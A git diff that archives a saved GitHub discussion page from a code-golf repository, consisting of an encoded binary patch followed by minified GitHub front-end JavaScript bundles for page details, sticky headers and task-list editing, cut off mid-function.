z^@%yT8UGm|1AaE}CgcFI;xP$1e(8#293bTh7^Uh{rcQ7&TOY@g3lGv`6;o`yVU!?O6Wu)-B|u z6CB=r#M@j-2~w^fM#H60BCmI0Y}(YSnQ!)7*bY?}yOh~%_Sfe=YRqoRt8u~;NECsh z1Hx|$!kRf6m5ErK$W$pAjsL7K(6h(SY=^45jqVdij{hINWo?=QB>G$N+*Uw+N*s1^jw?7ztT0~i^o)OZZlPF8XjUXt*k=i0}c^k5h zfAC3yjn-z%EN_+OvM-ID+Z9z8AA116XYc*$H{bs@d%iaW#f`vta+M$S4EV1{55iHZSG&j*6!s}Q0Ap#geM5oR}A_G+`&$sfoL463C8wKO_3S}K*g{hn)& zA3VKs_T`6PPE7VKsTl=rCJH33NCvLmvRT7n4Hp}(Vp9Wje$ZS&%@;C;PO}Ehl}g3_ zeE;ClL0wO-Qtqw69=;oO9OrkJes6)3&*lu8GeFO)Mz2xq$@dfrg?v7r%jHtl+4(nV zowvOR@GsJS`tWs|9(QOzeK(rYUZ?>3+q$TQy6W+Twf_(w_pgUi||77=7r2gQm7@ zSdJxCifrpHQ>H|UH;LNY>?vmUHcL?wWvOX~#FAWc=lte>&dfPGROjdC;fK`d{~MsU zT@DBlujM!Aw95ezLayaE=QQ;y7YBMcj$_%DZQC9)k1&^b4s&gEUE+Dn`=tDluIv93 zAVggFZgIbK?Nb!DSm1sCHPJt30dg z9hfu&V+2)7G@V4|1qbq@pa*`65K^19SKqGPnfzctLl?&oW9-@M=U=xUvnj$9=?fyB z!nhR1@dpesn_MHc`wYU9s?Jee_-Gry~|3Tuh{pd>Lbfrx2ZK z_36RFy8u=8D_zsZ$TkAlO-q?DqMrMNXDARrACZCw;lAFQXznyBmj+s_F6Yc#AdiS) zbeKmC6(j|E45v;;#7JaBuApLQbIOWkTbBT;9oE~q<2ZVPSC{x8;b1HVrr}WLja3V^ z3l3yF^QiUWtW}^7&{B0dKb#MQiJri+L?)11k1BG21@VXR_rbx(U0PdOTOJ6gbJVHQ zS|D#MkJGlvkk-dp31F`-lDhHRV2Q%+M&qP={Eh#uZQBOX{%R}*C0(n|{O?Kkp zsW44BEbYfQ`Vo_f-~+aosx3eTe#b*SHxv8OtTaV5J@;qBJ{-9ClmXT|A(9H9^5t;XzdD-&X5|=FXFs%@=zdD{!O~ zLdUE16Z=@7$%o!$$PI@1NLW(vVDxBhcfAkLP{wqLi=GG_*ITP?(+NF=64NjQ4~Q=6 zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return 